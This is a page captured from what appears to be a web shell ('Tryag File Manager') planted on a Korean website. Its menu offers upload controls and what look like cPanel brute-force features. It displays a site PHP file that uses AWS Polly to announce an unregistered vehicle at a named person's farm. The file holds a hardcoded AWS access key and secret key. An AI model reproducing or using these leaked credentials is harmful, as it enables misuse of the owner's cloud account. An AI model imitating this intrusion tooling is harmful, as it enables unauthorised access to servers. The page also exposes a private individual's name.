Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
mcts.eemo.co.kr
/
public_html
/
src
/
unit
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/mcts.eemo.co.kr/public_html/src/unit/ssml.php
<?php $config = [ 'version' => 'latest', 'region' => 'us-west-2', // Change this to your respective AWS region 'credentials' => [ // Change these to your respective AWS credentials 'key' => 'AKIAIOLO6UWFJH6GCQWA', 'secret' => '2DRAuNFH99yx6jOihL9LnKXrfTeLF/Ugf2qniZOp', ] ]; require('/var/www/html/src/library/aws/aws-autoloader.php'); use Aws\Polly\PollyClient; try { $client = new PollyClient($config); } catch(Exception $e) { print_r($e); exit; } $result = $client->synthesizeSpeech([ 'OutputFormat' => 'mp3', 'Text' => '<speak><amazon:effect phonation="soft">김록현 농장에 미등록 차량이 진입 했습니다.</amazon:effect></speak>', 'TextType' => 'ssml', 'VoiceId' => 'Seoyeon' ]); $audio = $result->get('AudioStream')->getContents(); echo base64_encode($audio); // $html = '<audio controls src="'.base64_encode($audio).'"/>'; // echo $html; exit; // get speech $response = $client->synthesizeSpeech($speech); // save response file $audio = file_put_contents('ssml.mp3', $response['AudioStream']); echo base64_encode($audio); // $html = '<audio controls src="data:audio/mpeg;base64,'.base64_encode($audio).'"/>'; // DEBUG print_r($response); exit;